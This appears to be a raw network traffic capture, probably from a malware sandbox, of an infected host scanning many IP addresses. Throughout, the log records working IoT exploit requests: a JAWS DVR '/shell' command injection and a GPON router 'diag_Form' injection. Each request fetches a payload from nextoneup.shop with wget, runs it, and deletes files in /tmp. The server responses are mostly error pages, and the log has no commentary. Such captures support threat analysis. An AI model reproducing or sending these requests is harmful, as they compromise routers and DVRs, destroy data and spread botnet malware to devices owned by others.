73 3b 73 68 2b 2f 74 6d 70 2f 6a 61 77 73 3c 2f 70 3e 0d 0a 3c 70 3e 4e 6f 64 65 5f 69 6e 66 6f 3a 20 32 39 31 32 2d 43 41 43 48 45 39 3c 2f 70 3e 0d 0a 3c 70 3e 52 65 71 75 65 73 74 5f 69 64 3a 20 34 30 37 35 62 33 31 30 36 36 62 39 32 37 37 34 39 37 31 63 38 64 34 65 66 37 65 66 30 63 31 36 3c 2f 70 3e 0d 0a 3c 70 3e 43 6c 69 65 6e 74 5f 69 70 3a 20 38 31 2e 31 38 31 2e 35 34 2e 36 30 3c 2f 70 3e 0d 0a 3c 70 3e 46 6f 72 62 69 64 5f 63 6f 64 65 3a 20 30 34 30 30 30 31 3c 2f 70 3e 0d 0a 3c 70 3e 48 69 74 2d 73 74 61 74 75 73 3a 20 4d 49 53 53 3c 2f 70 3e 0d 0a 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>openresty</center><p>Date: 2024/04/14 10:00:15</p><p>URL: http://shell?cd+/tmp;rm+-rf+*;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws</p><p>Node_info: 2912-CACHE9</p><p>Request_id: 4075b31066b92774971c8d4ef7ef0c16</p><p>Client_ip: 81.181.54.60</p><p>Forbid_code: 040001</p><p>Hit-status: MISS</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
793	192.168.2.13	36874	104.89.113.53	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:15.768696070 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:16.160475016 CEST	534	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 312 Expires: Sun, 14 Apr 2024 02:00:15 GMT Date: Sun, 14 Apr 2024 02:00:15 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 34 34 30 31 63 30 34 35 26 23 34 36 3b 31 37 31 33 30 36 30 30 31 35 26 23 34 36 3b 31 32 33 63 33 38 63 38 0a 3c 50 3e 68 74 74 70 73 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 65 72 72 6f 72 73 26 23 34 36 3b 65 64 67 65 73 75 69 74 65 26 23 34 36 3b 6e 65 74 26 23 34 37 3b 39 26 23 34 36 3b 34 34 30 31 63 30 34 35 26 23 34 36 3b 31 37 31 33 30 36 30 30 31 35 26 23 34 36 3b 31 32 33 63 33 38 63 38 3c 2f 50 3e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.4401c045.1713060015.123c38c8<P>https://errors.edgesuite.net/9.4401c045.1713060015.123c38c8</P></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
794	192.168.2.13	40442	112.90.95.147	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:15.808010101 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:16.149796963 CEST	666	IN	HTTP/1.1 403 Forbidden Server: openresty Date: Sun, 14 Apr 2024 02:00:15 GMT Content-Type: text/html Connection: keep-alive Content-Length: 436 via: CHN-GDdongguan-CUCC3-CACHE17[1] X-CCDN-FORBID-CODE: 040001 Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0a 3c 70 3e 44 61 74 65 3a 20 32 30 32 34 2f 30 34 2f 31 34 20 31 30 3a 30 30 3a 31 35 3c 2f 70 3e 0d 0a 3c 70 3e 55 52 4c 3a 20 68 74 74 70 3a 2f 2f 73 68 65 6c 6c 3f 63 64 2b 2f 74 6d 70 3b 72 6d 2b 2d 72 66 2b 2a 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 6a 61 77 73 3b 73 68 2b 2f 74 6d 70 2f 6a 61 77 73 3c 2f 70 3e 0d 0a 3c 70 3e 4e 6f 64 65 5f 69 6e 66 6f 3a 20 32 39 31 32 2d 43 41 43 48 45 31 37 3c 2f 70 3e 0d 0a 3c 70 3e 52 65 71 75 65 73 74 5f 69 64 3a 20 34 63 36 36 63 64 31 64 31 64 32 61 66 31 65 61 38 32 64 37 38 39 65 39 63 35 36 35 63 64 36 66 3c 2f 70 3e 0d 0a 3c 70 3e 43 6c 69 65 6e 74 5f 69 70 3a 20 38 31 2e 31 38 31 2e 35 34 2e 36 30 3c 2f 70 3e 0d 0a 3c 70 3e 46 6f 72 62 69 64 5f 63 6f 64 65 3a 20 30 34 30 30 30 31 3c 2f 70 3e 0d 0a 3c 70 3e 48 69 74 2d 73 74 61 74 75 73 3a 20 4d 49 53 53 3c 2f 70 3e 0d 0a 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>openresty</center><p>Date: 2024/04/14 10:00:15</p><p>URL: http://shell?cd+/tmp;rm+-rf+*;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws</p><p>Node_info: 2912-CACHE17</p><p>Request_id: 4c66cd1d1d2af1ea82d789e9c565cd6f</p><p>Client_ip: 81.181.54.60</p><p>Forbid_code: 040001</p><p>Hit-status: MISS</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
795	192.168.2.13	43502	143.204.37.147	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:16.351082087 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:16.552735090 CEST	316	IN	HTTP/1.1 403 Forbidden Server: CloudFront Date: Sun, 14 Apr 2024 02:00:16 GMT Content-Type: text/html Content-Length: 151 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 43 6c 6f 75 64 46 72 6f 6e 74 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>CloudFront</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
796	192.168.2.13	51088	104.206.59.2	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:16.559489012 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:16.768794060 CEST	1289	IN	HTTP/1.0 400 Bad Request Server: squid/3.1.23 Mime-Version: 1.0 Date: Sun, 14 Apr 2024 01:41:34 GMT Content-Type: text/html Content-Length: 3263 X-Squid-Error: ERR_INVALID_URL 0 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 20 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 20 3c 74 69 74 6c 65 3e 45 52 52 4f 52 3a 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 72 65 74 72 69 65 76 65 64 3c 2f 74 69 74 6c 65 3e 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 21 2d 2d 20 20 20 2f 2a 0a 20 53 74 79 6c 65 73 68 65 65 74 20 66 6f 72 20 53 71 75 69 64 20 45 72 72 6f 72 20 70 61 67 65 73 0a 20 41 64 61 70 74 65 64 20 66 72 6f 6d 20 64 65 73 69 67 6e 20 62 79 20 46 72 65 65 20 43 53 53 20 54 65 6d 70 6c 61 74 65 73 0a 20 68 74 74 70 3a 2f 2f 77 77 77 2e 66 72 65 65 63 73 73 74 65 6d 70 6c 61 74 65 73 2e 6f 72 67 0a 20 52 65 6c 65 61 73 65 64 20 66 6f 72 20 66 72 65 65 20 75 6e 64 65 72 20 61 20 43 72 65 61 74 69 76 65 20 43 6f 6d 6d 6f 6e 73 20 41 74 74 72 69 62 75 74 69 6f 6e 20 32 2e 35 20 4c 69 63 65 6e 73 65 0a 2a 2f 0a 0a 2f 2a 20 50 61 67 65 20 62 61 73 69 63 73 20 2a 2f 0a 2a 20 7b 0a 09 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 76 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 7d 0a 0a 68 74 6d 6c 20 62 6f 64 79 20 7b 0a 09 6d 61 72 67 69 6e 3a 20 30 3b 0a 09 70 61 64 64 69 6e 67 3a 20 30 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 65 66 65 66 65 66 3b 0a 09 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 32 70 78 3b 0a 09 63 6f 6c 6f 72 3a 20 23 31 65 31 65 31 65 3b 0a 7d 0a 0a 2f 2a 20 50 61 67 65 20 64 69 73 70 6c 61 79 65 64 20 74 69 74 6c 65 20 61 72 65 61 20 2a 2f 0a 23 74 69 74 6c 65 73 20 7b 0a 09 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 31 35 70 78 3b 0a 09 70 61 64 64 69 6e 67 3a 20 31 30 70 78 3b 0a 09 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 20 31 30 30 70 78 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 75 72 6c 28 27 68 74 74 70 3a 2f 2f 77 77 77 2e 73 71 75 69 64 2d 63 61 63 68 65 2e 6f 72 67 2f 41 72 74 77 6f 72 6b 2f 53 4e 2e 70 6e 67 27 29 20 6e 6f 2d 72 65 70 65 61 74 20 6c 65 66 74 3b 0a 7d 0a 0a 2f 2a 20 69 6e 69 74 69 61 6c 20 74 69 74 6c 65 20 2a 2f 0a 23 74 69 74 6c 65 73 20 68 31 20 7b 0a 09 63 6f 6c 6f 72 3a 20 23 30 30 30 30 30 30 3b 0a 7d 0a 23 74 69 74 6c 65 73 20 68 32 20 7b 0a 09 63 6f 6c 6f 72 3a 20 23 30 30 30 30 30 30 3b 0a 7d 0a 0a 2f 2a 20 73 70 65 63 69 61 6c 20 65 76 65 6e 74 3a 20 46 54 50 20 73 75 63 63 65 73 73 20 70 61 67 65 20 74 69 74 6c 65 73 20 2a 2f 0a 23 74 69 74 6c 65 73 20 66 74 70 73 75 63 63 65 73 73 20 7b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 66 66 30 30 3b 0a 09 77 69 64 74 68 3a 31 30 30 25 3b 0a 7d 0a 0a 2f 2a 20 50 61 67 65 20 64 69 73 70 6c 61 79 65 64 20 62 6f 64 79 20 63 6f 6e 74 65 6e 74 20 61 72 65 61 20 2a 2f 0a 23 63 6f 6e 74 65 6e 74 20 7b 0a 09 70 61 64 64 69 6e 67 3a 20 31 30 70 78 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 66 66 66 66 66 66 3b 0a 7d Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html><head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8"> <title>ERROR: The requested URL could not be retrieved</title> <style type="text/css">... /* Stylesheet for Squid Error pages Adapted from design by Free CSS Templates http://www.freecsstemplates.org Released for free under a Creative Commons Attribution 2.5 License// Page basics / {font-family: verdana, sans-serif;}html body {margin: 0;padding: 0;background: #efefef;font-size: 12px;color: #1e1e1e;}/* Page displayed title area /#titles {margin-left: 15px;padding: 10px;padding-left: 100px;background: url('http://www.squid-cache.org/Artwork/SN.png') no-repeat left;}/ initial title /#titles h1 {color: #000000;}#titles h2 {color: #000000;}/ special event: FTP success page titles /#titles ftpsuccess {background-color:#00ff00;width:100%;}/ Page displayed body content area */#content {padding: 10px;background: #ffffff;}
Apr 14, 2024 04:00:16.768853903 CEST	1289	IN	Data Raw: 0a 0a 2f 2a 20 47 65 6e 65 72 61 6c 20 74 65 78 74 20 2a 2f 0a 70 20 7b 0a 7d 0a 0a 2f 2a 20 65 72 72 6f 72 20 62 72 69 65 66 20 64 65 73 63 72 69 70 74 69 6f 6e 20 2a 2f 0a 23 65 72 72 6f 72 20 70 20 7b 0a 7d 0a 0a 2f 2a 20 73 6f 6d 65 20 64 61 Data Ascii: /* General text /p {}/ error brief description /#error p {}/ some data which may have caused the problem /#data {}/ the error message received from the system or other software */#sysmsg {}pre { font-family:sans-ser
Apr 14, 2024 04:00:16.768872976 CEST	927	IN	Data Raw: 6f 74 65 20 69 64 3d 22 65 72 72 6f 72 22 3e 20 3c 70 3e 3c 62 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 62 3e 3c 2f 70 3e 20 3c 2f 62 6c 6f 63 6b 71 75 6f 74 65 3e 20 20 3c 70 3e 53 6f 6d 65 20 61 73 70 65 63 74 20 6f 66 20 74 68 65 20 72 65 71 Data Ascii: ote id="error"> <p><b>Invalid URL</b></p> </blockquote> <p>Some aspect of the requested URL is incorrect.</p> <p>Some possible problems are:</p> <ul> <li><p>Missing or incorrect access protocol (should be <q>http://</q> or similar)</p></li>
Apr 14, 2024 04:00:17.392020941 CEST	1289	IN	HTTP/1.0 400 Bad Request Server: squid/3.1.23 Mime-Version: 1.0 Date: Sun, 14 Apr 2024 01:41:34 GMT Content-Type: text/html Content-Length: 3263 X-Squid-Error: ERR_INVALID_URL 0 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 20 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 20 3c 74 69 74 6c 65 3e 45 52 52 4f 52 3a 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 72 65 74 72 69 65 76 65 64 3c 2f 74 69 74 6c 65 3e 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 21 2d 2d 20 20 20 2f 2a 0a 20 53 74 79 6c 65 73 68 65 65 74 20 66 6f 72 20 53 71 75 69 64 20 45 72 72 6f 72 20 70 61 67 65 73 0a 20 41 64 61 70 74 65 64 20 66 72 6f 6d 20 64 65 73 69 67 6e 20 62 79 20 46 72 65 65 20 43 53 53 20 54 65 6d 70 6c 61 74 65 73 0a 20 68 74 74 70 3a 2f 2f 77 77 77 2e 66 72 65 65 63 73 73 74 65 6d 70 6c 61 74 65 73 2e 6f 72 67 0a 20 52 65 6c 65 61 73 65 64 20 66 6f 72 20 66 72 65 65 20 75 6e 64 65 72 20 61 20 43 72 65 61 74 69 76 65 20 43 6f 6d 6d 6f 6e 73 20 41 74 74 72 69 62 75 74 69 6f 6e 20 32 2e 35 20 4c 69 63 65 6e 73 65 0a 2a 2f 0a 0a 2f 2a 20 50 61 67 65 20 62 61 73 69 63 73 20 2a 2f 0a 2a 20 7b 0a 09 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 76 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 7d 0a 0a 68 74 6d 6c 20 62 6f 64 79 20 7b 0a 09 6d 61 72 67 69 6e 3a 20 30 3b 0a 09 70 61 64 64 69 6e 67 3a 20 30 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 65 66 65 66 65 66 3b 0a 09 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 32 70 78 3b 0a 09 63 6f 6c 6f 72 3a 20 23 31 65 31 65 31 65 3b 0a 7d 0a 0a 2f 2a 20 50 61 67 65 20 64 69 73 70 6c 61 79 65 64 20 74 69 74 6c 65 20 61 72 65 61 20 2a 2f 0a 23 74 69 74 6c 65 73 20 7b 0a 09 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 31 35 70 78 3b 0a 09 70 61 64 64 69 6e 67 3a 20 31 30 70 78 3b 0a 09 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 20 31 30 30 70 78 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 75 72 6c 28 27 68 74 74 70 3a 2f 2f 77 77 77 2e 73 71 75 69 64 2d 63 61 63 68 65 2e 6f 72 67 2f 41 72 74 77 6f 72 6b 2f 53 4e 2e 70 6e 67 27 29 20 6e 6f 2d 72 65 70 65 61 74 20 6c 65 66 74 3b 0a 7d 0a 0a 2f 2a 20 69 6e 69 74 69 61 6c 20 74 69 74 6c 65 20 2a 2f 0a 23 74 69 74 6c 65 73 20 68 31 20 7b 0a 09 63 6f 6c 6f 72 3a 20 23 30 30 30 30 30 30 3b 0a 7d 0a 23 74 69 74 6c 65 73 20 68 32 20 7b 0a 09 63 6f 6c 6f 72 3a 20 23 30 30 30 30 30 30 3b 0a 7d 0a 0a 2f 2a 20 73 70 65 63 69 61 6c 20 65 76 65 6e 74 3a 20 46 54 50 20 73 75 63 63 65 73 73 20 70 61 67 65 20 74 69 74 6c 65 73 20 2a 2f 0a 23 74 69 74 6c 65 73 20 66 74 70 73 75 63 63 65 73 73 20 7b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 66 66 30 30 3b 0a 09 77 69 64 74 68 3a 31 30 30 25 3b 0a 7d 0a 0a 2f 2a 20 50 61 67 65 20 64 69 73 70 6c 61 79 65 64 20 62 6f 64 79 20 63 6f 6e 74 65 6e 74 20 61 72 65 61 20 2a 2f 0a 23 63 6f 6e 74 65 6e 74 20 7b 0a 09 70 61 64 64 69 6e 67 3a 20 31 30 70 78 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 66 66 66 66 66 66 3b 0a 7d Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html><head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8"> <title>ERROR: The requested URL could not be retrieved</title> <style type="text/css">... /* Stylesheet for Squid Error pages Adapted from design by Free CSS Templates http://www.freecsstemplates.org Released for free under a Creative Commons Attribution 2.5 License// Page basics / {font-family: verdana, sans-serif;}html body {margin: 0;padding: 0;background: #efefef;font-size: 12px;color: #1e1e1e;}/* Page displayed title area /#titles {margin-left: 15px;padding: 10px;padding-left: 100px;background: url('http://www.squid-cache.org/Artwork/SN.png') no-repeat left;}/ initial title /#titles h1 {color: #000000;}#titles h2 {color: #000000;}/ special event: FTP success page titles /#titles ftpsuccess {background-color:#00ff00;width:100%;}/ Page displayed body content area */#content {padding: 10px;background: #ffffff;}

Session ID	Source IP	Source Port	Destination IP	Destination Port
797	192.168.2.13	42720	188.150.117.221	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:16.677254915 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:17.004019022 CEST	258	IN	HTTP/1.1 301 Moved Permanently Location: https://127.0.0.1/shell?cd+/tmp;rm+-rf+*;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws Date: Sun, 14 Apr 2024 02:00:16 GMT Content-Length: 17 Content-Type: text/plain; charset=utf-8 Data Raw: 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 Data Ascii: Moved Permanently

Session ID	Source IP	Source Port	Destination IP	Destination Port
798	192.168.2.13	48132	80.190.131.134	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:16.678170919 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:17.007473946 CEST	409	IN	HTTP/1.1 404 Not Found Date: Sun, 14 Apr 2024 02:00:16 GMT Server: Apache Content-Length: 196 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
799	192.168.2.13	60794	161.97.117.64	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:16.679594040 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:17.011095047 CEST	109	IN	HTTP/1.1 404 Not Found Server: Caddy Date: Sun, 14 Apr 2024 02:00:16 GMT Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
800	192.168.2.13	59474	212.11.90.109	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:16.856080055 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
801	192.168.2.13	47930	148.183.140.60	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:16.856107950 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
802	192.168.2.13	34582	212.223.45.188	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:16.856111050 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
803	192.168.2.13	33600	202.43.32.92	443

Timestamp	Bytes transferred	Direction	Data
